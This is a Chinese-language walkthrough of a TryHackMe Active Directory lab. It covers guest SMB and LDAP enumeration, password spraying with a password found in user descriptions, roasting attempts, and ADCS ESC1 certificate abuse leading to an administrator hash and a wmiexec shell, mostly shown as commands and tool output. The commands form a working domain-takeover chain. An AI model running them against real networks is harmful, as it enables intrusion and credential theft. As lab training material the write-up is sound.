304
| smb2-time:
305
|   date: 2026-09-08T11:09:23
306
|_  start_date: N/A
307
| smb2-security-mode:
308
|   3:1:1:
309
|_    Message signing enabled and required

标准的 DC, ttl 均为 128, windows 默认一跳. 域名: labyrinth.thm.local 值得注意的是该机器没有开放 winrm, 而是开放了 3389/rdp. RDP 仅接受密码, 不接受 ntlm.

smb#

没有提供凭据, 尝试 guest 认证, 成功, 可以读取 IPC$, 即可以通过 SMB 访问 RPC

1
nxc smb thm.local -u guest -p '' --shares
2
SMB         10.66.139.100   445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
3
SMB         10.66.139.100   445    LABYRINTH        [+] thm.local\guest:
4
SMB         10.66.139.100   445    LABYRINTH        [*] Enumerated shares
5
SMB         10.66.139.100   445    LABYRINTH        Share           Permissions     Remark
6
SMB         10.66.139.100   445    LABYRINTH        -----           -----------     ------
7
SMB         10.66.139.100   445    LABYRINTH        ADMIN$                          Remote Admin
8
SMB         10.66.139.100   445    LABYRINTH        C$                              Default share
9
SMB         10.66.139.100   445    LABYRINTH        IPC$            READ            Remote IPC
10
SMB         10.66.139.100   445    LABYRINTH        NETLOGON                        Logon server share
11
SMB         10.66.139.100   445    LABYRINTH        SYSVOL                          Logon server share

WINDOWS SERVER 2019, 比较老的机器

rid brute#

爆破出很多用户,截取少部分:

1
Administrator
2
Guest
3
krbtgt
4
Domain
5
Protected
6
LABYRINTH$
7
greg
8
SHANA_FITZGERALD
9
CAREY_FIELDS
10
DWAYNE_NGUYEN
11
BRANDON_PITTMAN
12
BRET_DONALDSON
13
VAUGHN_MARTIN
14
DICK_REEVES
15
EVELYN_NEWMAN
16
SHERI_DYER
17
NUMBERS_BARRETT
18
SUSANA_LOWERY
19
MIKE_TODD
20
JOSEF_MONROE
21
DAWN_DAVID
22
VIVIAN_VELAZQUEZ
23
WESLEY_FULLER
24
MARISOL_LANG
25
DIONNE_MCCOY
26
NOEL_BOOTH
27
TAMRA_BULLOCK
28
ROLAND_COLE
29
KATHY_WYNN
30
LORENA_BENSON

ldap#

尝试 ldap 空绑定, 成功:

1
ldapsearch -x -H ldap://10.66.139.100 -s base
2
# extended LDIF
3
#
4
# LDAPv3
5
# base <> (default) with scope baseObject
6
# filter: (objectclass=*)
7
# requesting: ALL
8
#
9
#
10
dn:
11
domainFunctionality: 7
12
forestFunctionality: 7
13
domainControllerFunctionality: 7
14
rootDomainNamingContext: DC=thm,DC=local
15
ldapServiceName: thm.local:labyrinth$@THM.LOCAL
16
...
17
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=thm,DC=local
18
serverName: CN=LABYRINTH,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Con
19
 figuration,DC=thm,DC=local
20
schemaNamingContext: CN=Schema,CN=Configuration,DC=thm,DC=local
21
namingContexts: DC=thm,DC=local
22
namingContexts: CN=Configuration,DC=thm,DC=local
23
namingContexts: CN=Schema,CN=Configuration,DC=thm,DC=local
24
namingContexts: DC=DomainDnsZones,DC=thm,DC=local
25
namingContexts: DC=ForestDnsZones,DC=thm,DC=local
26
isSynchronized: TRUE
27
highestCommittedUSN: 163924
28
dsServiceName: CN=NTDS Settings,CN=LABYRINTH,CN=Servers,CN=Default-First-Site-
29
 Name,CN=Sites,CN=Configuration,DC=thm,DC=local
30
dnsHostName: labyrinth.thm.local
31
defaultNamingContext: DC=thm,DC=local
32
currentTime: 20260908112616.0Z
33
configurationNamingContext: CN=Configuration,DC=thm,DC=local

枚举一下用户信息, 它是真多啊 .. 直接看 description 了

1
ldapsearch -x -H ldap://10.66.139.100 -b 'DC=thm,DC=local' "(objectClass=user)" > ldap
2
# wc -l ./ldap -> 17879 ./ldap
3
cat ldap |grep desc|grep -v 'description: Tier 1 User'
4
description: Please change it: CHANGEME2023!
5
description: Please change it: CHANGEME2023!

其指出有一个密码候选项: CHANGEME2023!

pass spray#

有很多用户, 尝试一下密码喷洒:

1
nxc smb thm.local  -u ./users -p 'CHANGEME2023!' --continue-on-success|tee -a ./nxc
2
cat nxc |grep +
3
SMB                      10.66.139.100   445    LABYRINTH        [+] thm.local\Domain:CHANGEME2023! (Guest)
4
SMB                      10.66.139.100   445    LABYRINTH        [+] thm.local\Protected:CHANGEME2023! (Guest)
5
SMB                      10.66.139.100   445    LABYRINTH        [+] thm.local\IVY_WILLIS:CHANGEME2023!
6
SMB                      10.66.139.100   445    LABYRINTH        [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023!

除去降级为 guest 的, 共两个用户: IVY_WILLIS, SUSANNA_MCKNIGHT

Web#

web page 80 和 443 都是默认页面, 不过 443 上的自签名 SSL 证书给出了一些线索:

1
443/tcp   open   ssl/http      syn-ack ttl 128 Microsoft IIS httpd 10.0
2
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
3
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA/domainComponent=thm
4
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm

roasting#

在有凭据后进行两种 roasting 会快很多, 可以直接查 ldap

asreproasting#

1
nxc ldap thm.local  -u 'IVY_WILLIS' -p 'CHANGEME2023!' --asreproast out.asrep
2
LDAP        10.66.139.100   389    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local) (signing:None) (channel binding:Never)
3
LDAP        10.66.139.100   389    LABYRINTH        [+] thm.local\IVY_WILLIS:CHANGEME2023!
4
LDAP        10.66.139.100   389    LABYRINTH        [*] Total of records returned 5
5
LDAP        10.66.139.100   389    LABYRINTH        $krb5asrep$23$SHELLEY_BEARD@THM.LOCAL:de3f914abbaf8697da492b3f37c63d86$09c7c2e8229e0b41fc0dfe76062cbaa3b5dbe6694fbf3c685825ebfb76d1b1e5b4bc0a1cb39c045b2d55e93dc180878cd7b506970640f8d4793537e464238008e25112c3b74b87fb17913c27cc950d84cd9c2c7374aea25431cc8e4e103cb6c90ee61e76d32ea00470bc5113f7fdb3af82be464e6b1ae8ef5d9b11ce6950ac54dfceae979c5eb31bbe2819eede8a645f732694e008ff8822b9feaac71534c6277b1cf49f48a28114bab5c60b74cb63516a04ddf7e25f65ff97bc272659e644664888ece8512cd9cd84fa9b14c88fa952939efab3be73ec5904e9bb95e652b95870aa71cf34c9
6
LDAP        10.66.139.100   389    LABYRINTH        $krb5asrep$23$ISIAH_WALKER@THM.LOCAL:5d13e7649c3f144f68008a7775cd5f75$5f3b1189170b6da8b1e7c7d0f7f44f6af94ef0de4ba7c1ad3fc4f292a323117da8f14e5f87017d752e4e39677d460c24ac0456345295c2b0c54d84cf93c3717e401b6e06146ad2eaca7d03d7356b9c1ad28f7ee2a1c82e81f3e10258378d2f3e3275ff3fa27602933e3ee929ee2a5a081553b2fa48cefccb6af6c4599dc348ea4e2cecc1df5417dab3c1cf9979a1374f89bc0dc78101a3c3a355d637220c56a7bd98426d5bda1e676d85bf3701ae85b0834f896332022594a6f201953c1ddea499fff33e67054468e584bf097d0a15a9f80336e9cb7a3560ef249d8785536c3367253c789319
7
LDAP        10.66.139.100   389    LABYRINTH        $krb5asrep$23$QUEEN_GARNER@THM.LOCAL:722cd091a04b38c31b11ae6053c6847d$edd0e4c7800adfd3ff91774af7f908b6cf5900b229cfa6e34350c72c9b1acb0b0d3e885f5817de2e7cc2cb35e2764e95449b954217bef7071e0c91baef0fda36259d183c8c5a5a67d6d54f62a69440c1685021d417673522861d3ef323fc8986ac6ad8f873254b3f8a764c3ee336b1af52a14b36309d1fe68347b1262e84bf1378258eab251703af17885d8e763a5a223fa567459553f4acaf3e2ad75f5ddc5e1ad671ca5b91ca9209d3f5d2a25c66cda72b8cabdd354ed740c5ce2de13f184f50f20b74c53c20a4ce73a324720c6f81366def5010aae49df2a6ebe29eae73cc78bccf1d4971
8
LDAP        10.66.139.100   389    LABYRINTH        $krb5asrep$23$PHYLLIS_MCCOY@THM.LOCAL:2670e45cfe7f49fa85cf49c954c9d5d1$b93e6fe87a91a4e06c4e847270c734c65ae9729f1b097d7b68925220041d7d783f6e444b3a074b7b762ae7d68c44df3b3d0ae4610ac8d55751d52f6fe02e5cfe5f2ab0e67837dcd0fe9ae0c16b77f62822804b9669c254db88644ffeebba8e8c5a89e27ab514dfb4410f283055728a33265b919af38368df07088d409ba2ad80249b43470caf23ea8bf86e1da79a3166ca0f50a69f21d5c1308358fb756e034447d1243f6094e047e873e465fae7f97fc3ab52e3fb12d490d1e5447d41979318d6ea6a9e2e39c7683f988d5f319e213d9a6c959dce6cbd731c7dd757467ff467054255782505
9
LDAP        10.66.139.100   389    LABYRINTH        $krb5asrep$23$MAXINE_FREEMAN@THM.LOCAL:e96206582ff4ad6dbcad5db700ca0925$ee9b4581d9808fda21fd334f11d685f2d99d9f71447e9b2f24c74435845c1227076ebdfab8c6b580b4a526eb6e15c885ab67559fa927cef7ae93298eb12613f8913975884b24985eb70a6bce8a0d7d0d926db8f906d08f719022f56c8490430480abe06e1615ece988e75eb7402320a76086b187fcd8718912a172f31663fd070f386f653d9d1e2ad8d1e5d985f11409771572cbc6e77abea068b334af8e9c0a3d0d81a007197f55967435d55026a4b0b5391a59230fe91c75612741a679a9431a7448c032670c8479001456076a8acedb583522663881a567a45bee1b3e16633a813fc7b160

没有 hash 可以破解

kerberoastng#

1
nxc ldap thm.local  -u 'IVY_WILLIS' -p 'CHANGEME2023!' --kerberoasting kb
2
LDAP        10.66.139.100   389    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local) (signing:None) (channel binding:Never)
3
LDAP        10.66.139.100   389    LABYRINTH        [+] thm.local\IVY_WILLIS:CHANGEME2023!
4
LDAP        10.66.139.100   389    LABYRINTH        [*] Skipping disabled account: krbtgt
5
LDAP        10.66.139.100   389    LABYRINTH        [*] Total of records returned 0

没有可以 kerberoasting 的服务账户

act as IVY_WILLIS#

perm analyse#

我是在 attackbox 上打的 THM 机器, 上面的 bloodhound 和采集器都有些问题, 用 bloodyad 替代\

1
bloodyAD -d thm.local -u 'IVY_WILLIS' -p 'CHANGEME2023!' --dc-ip 10.66.160.191 --host thm.local  get  membership IVY_WILLIS
2

3
distinguishedName: CN=Users,CN=Builtin,DC=thm,DC=local
4
objectSid: S-1-5-32-545
5
sAMAccountName: Users
6

7
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=thm,DC=local
8
objectSid: S-1-5-32-580
9
sAMAccountName: Remote Management Users
10

11
distinguishedName: CN=Domain Users,CN=Users,DC=thm,DC=local
12
objectSid: S-1-5-21-1966530601-3185510712-10604624-513
13
sAMAccountName: Domain Users
14
# --------
15
bloodyAD -d thm.local -u 'IVY_WILLIS' -p 'CHANGEME2023!' --dc-ip 10.66.160.191 --host thm.local  get membership SUSANNA_MCKNIGHT
16

17
distinguishedName: CN=Users,CN=Builtin,DC=thm,DC=local
18
objectSid: S-1-5-32-545
19
sAMAccountName: Users
20

21
distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=thm,DC=local
22
objectSid: S-1-5-32-555
23
sAMAccountName: Remote Desktop Users
24

25
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=thm,DC=local
26
objectSid: S-1-5-32-580
27
sAMAccountName: Remote Management Users
28

29
distinguishedName: CN=Domain Users,CN=Users,DC=thm,DC=local
30
objectSid: S-1-5-21-1966530601-3185510712-10604624-513
31
sAMAccountName: Domain Users

IVY_WILLIS 和 SUSANNA_MCKNIGHT 都属于 Remote Management Users 组, 但仅有 SUSANNA_MCKNIGHT 属于 Remote Desktop Users 组

RDP as SUSANNA_MCKNIGHT#

1
xfreerdp /v:10.66.160.191 /u:SUSANNA_MCKNIGHT /p:CHANGEME2023!

有趣的是 SUSANNA_MCKNIGHT 拥有 certificate service dcom access group 权限, 即可以连接企业CA

ADCS#

1
certipy find -dc-ip 10.66.151.14 -u SUSANNA_MCKNIGHT -p 'CHANGEME2023!' -json -enabled -vulnerable

这会返回所有的启用的并且有可利用漏洞的证书模版, 如果没有结果再设置全部返回

1
{
2
  "Certificate Authorities": {
3
    "0": {
4
      "CA Name": "thm-LABYRINTH-CA",
5
      "DNS Name": "labyrinth.thm.local",
6
      "Certificate Subject": "CN=thm-LABYRINTH-CA, DC=thm, DC=local",
7
      "Certificate Serial Number": "5225C02DD750EDB340E984BC75F09029",
8
      "Certificate Validity Start": "2023-05-12 07:26:00+00:00",
9
      "Certificate Validity End": "2028-05-12 07:35:59+00:00",
10
      "Web Enrollment": {
11
        "http": {
12
          "enabled": false
13
        },
14
        "https": {
15
          "enabled": false,
16
          "channel_binding": null
17
        }
18
      },
19
      "User Specified SAN": "Disabled",
20
      "Request Disposition": "Issue",
21
      "Enforce Encryption for Requests": "Enabled",
22
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
23
      "Permissions": {
24
        "Owner": "THM.LOCAL\\Administrators",
25
        "Access Rights": {
26
          "1": [
27
            "THM.LOCAL\\Administrators",
28
            "THM.LOCAL\\Domain Admins",
29
            "THM.LOCAL\\Enterprise Admins"
30
          ],
31
          "2": [
32
            "THM.LOCAL\\Administrators",
33
            "THM.LOCAL\\Domain Admins",
34
            "THM.LOCAL\\Enterprise Admins"
35
          ],
36
          "512": [
37
            "THM.LOCAL\\Authenticated Users"
38
          ]
39
        }
40
      }
41
    }
42
  },
43
  "Certificate Templates": {
44
    "0": {
45
      "Template Name": "ServerAuth",
46
      "Display Name": "ServerAuth",
47
      "Certificate Authorities": [
48
        "thm-LABYRINTH-CA"
49
      ],
50
      "Enabled": true,
51
      "Client Authentication": true,
52
      "Enrollment Agent": false,
53
      "Any Purpose": false,
54
      "Enrollee Supplies Subject": true,
55
      "Certificate Name Flag": [
56
        1
57
      ],
58
      "Extended Key Usage": [
59
        "Client Authentication",
60
        "Server Authentication"
61
      ],
62
      "Requires Manager Approval": false,
63
      "Requires Key Archival": false,
64
      "Authorized Signatures Required": 0,
65
      "Schema Version": 2,
66
      "Validity Period": "1 year",
67
      "Renewal Period": "6 weeks",
68
      "Minimum RSA Key Length": 2048,
69
      "Template Created": "2023-05-12 08:55:40+00:00",
70
      "Template Last Modified": "2023-05-12 08:55:40+00:00",
71
      "Permissions": {
72
        "Enrollment Permissions": {
73
          "Enrollment Rights": [
74
            "THM.LOCAL\\Domain Admins",
75
            "THM.LOCAL\\Domain Computers",
76
            "THM.LOCAL\\Enterprise Admins",
77
            "THM.LOCAL\\Authenticated Users"
78
          ]
79
        },
80
        "Object Control Permissions": {
81
          "Owner": "THM.LOCAL\\Administrator",
82
          "Full Control Principals": [
83
            "THM.LOCAL\\Domain Admins",
84
            "THM.LOCAL\\Enterprise Admins"
85
          ],
86
          "Write Owner Principals": [
87
            "THM.LOCAL\\Domain Admins",
88
            "THM.LOCAL\\Enterprise Admins"
89
          ],
90
          "Write Dacl Principals": [
91
            "THM.LOCAL\\Domain Admins",
92
            "THM.LOCAL\\Enterprise Admins"
93
          ],
94
          "Write Property Enroll": [
95
            "THM.LOCAL\\Domain Admins",
96
            "THM.LOCAL\\Domain Computers",
97
            "THM.LOCAL\\Enterprise Admins"
98
          ]
99
        }
100
      },
101
      "[+] User Enrollable Principals": [
102
        "THM.LOCAL\\Domain Computers",
103
        "THM.LOCAL\\Authenticated Users"
104
      ],
105
      "[!] Vulnerabilities": {
106
        "ESC1": "Enrollee supplies subject and template allows client authentication.",
107
        "ESC17": "Enrollee supplies subject and template allows server authentication."
108
      },
109
      "[*] Remarks": {
110
        "ESC17": "Other prerequisites may be required for this to be exploitable. See the wiki for more details."
111
      }
112
    }
113
  }

一些关于 CA 的信息:

name: thm-LABYRINTH-CA

对于 ServerAuth 模版:

"Enrollee Supplies Subject": true,: 启用 Enrollee Supplies Subject, 用户可以在 CSRs(证书申请请求) 中使用任何用户的 SAN 进行申请
"THM.LOCAL\\Authenticated Users": 容许已验证的用户申请

ESC1 on ServerAuth#

先申请证书, 再验证. ADCS 验证使用 kerberos 协议, 注意时间同步

1
certipy req -dc-ip 10.66.151.14 -u SUSANNA_MCKNIGHT -p 'CHANGEME2023!' -ca 'thm-LABYRINTH-CA'  -template 'ServerAuth' -upn 'administrator@thm.local'
2
Certipy v5.1.0 - by Oliver Lyak (ly4k)
3

4
[*] Requesting certificate via RPC
5
[*] Request ID is 25
6
[*] Successfully requested certificate
7
[*] Got certificate with UPN 'administrator@thm.local'
8
[*] Certificate has no object SID
9
[*] Try using -sid to set the object SID or see the wiki for more details
10
[*] Saving certificate and private key to 'administrator.pfx'
11
[*] Wrote certificate and private key to 'administrator.pfx'
12

13
certipy auth -pfx ./administrator.pfx -dc-ip 10.66.137.208
14
Certipy v5.1.0 - by Oliver Lyak (ly4k)
15

16
[*] Certificate identities:
17
[*]     SAN UPN: 'administrator@thm.local'
18
[*] Using principal: 'administrator@thm.local'
19
[*] Trying to get TGT...
20
[*] Got TGT
21
[*] Saving credential cache to 'administrator.ccache'
22
[*] Wrote credential cache to 'administrator.ccache'
23
[*] Trying to retrieve NT hash for 'administrator'
24
[*] Got hash for 'administrator@thm.local': aad3b435b51404eeaad3b435b51404ee:07d677a6cf40925beb80ad6428752322

act as Administrator#

1
nxc smb thm.local -u administrator -H 07d677a6cf40925beb80ad6428752322
2
SMB         10.66.137.208   445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
3
SMB         10.66.137.208   445    LABYRINTH        [-] thm.local\administrator:07d677a6cf40925beb80ad6428752322 STATUS_ACCOUNT_RESTRICTION

认证成功, 但授权失败, 原因为 administrator 为 protected 用户, 无法使用 ntlm 进行登陆, 转向 kerberos.

1
nxc smb thm.local -u administrator -H 07d677a6cf40925beb80ad6428752322  -k
2
SMB         thm.local       445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
3
SMB         thm.local       445    LABYRINTH        [+] thm.local\administrator:07d677a6cf40925beb80ad6428752322 (Pwn3d!)
4

5
wmiexec.py -k thm.local/administrator@labyrinth.thm.local -dc-ip 10.66.137.208
6
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
7

8
Password:
9
[*] SMBv3.0 dialect used
10
[!] Launching semi-interactive shell - Careful what you execute
11
[!] Press help for extra shell commands
12
C:\Users\Administrator\Desktop>whoami
13
thm\administrator
14

15
C:\Users\Administrator\Desktop>whoami /priv
16
PRIVILEGES INFORMATION
17
----------------------
18

19
Privilege Name                            Description                                                        State
20
========================================= ================================================================== =======
21
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
22
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
23
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
24
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
25
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
26
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
27
SeSystemtimePrivilege                     Change the system time                                             Enabled
28
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
29
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
30
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
31
SeBackupPrivilege                         Back up files and directories                                      Enabled
32
SeRestorePrivilege                        Restore files and directories                                      Enabled
33
SeShutdownPrivilege                       Shut down the system                                               Enabled
34
SeDebugPrivilege                          Debug programs                                                     Enabled
35
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
36
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
37
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
38
SeUndockPrivilege                         Remove computer from docking station                               Enabled
39
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
40
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
41
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
42
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
43
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
44
SeTimeZonePrivilege                       Change the time zone                                               Enabled
45
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
46
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
47

48
C:\Users\Administrator\Desktop>ipconfig
49
Windows IP Configuration
50

51
Ethernet adapter Ethernet 3:
52
   Connection-specific DNS Suffix  . : ec2.internal
53
   Link-local IPv6 Address . . . . . : fe80::f8d:8605:a8e5:9e96%4
54
   IPv4 Address. . . . . . . . . . . : 10.66.137.208
55
   Subnet Mask . . . . . . . . . . . : 255.255.192.0
56
   Default Gateway . . . . . . . . . : 10.66.128.1

0x5t4ckc47

recon#

smb#

rid brute#

ldap#

pass spray#

Web#

roasting#

asreproasting#

kerberoastng#

act as IVY_WILLIS#

perm analyse#

RDP as SUSANNA_MCKNIGHT#

ADCS#

ESC1 on ServerAuth#

act as Administrator#

Continue reading

Take another route

0x5t4ckc47

recon#

smb#

rid brute#

ldap#

pass spray#

Web#

roasting#

asreproasting#

kerberoastng#

act as IVY_WILLIS#

perm analyse#

RDP as SUSANNA_MCKNIGHT#

ADCS#

ESC1 on ServerAuth#

act as Administrator#

Share Article

Related reading

Take another route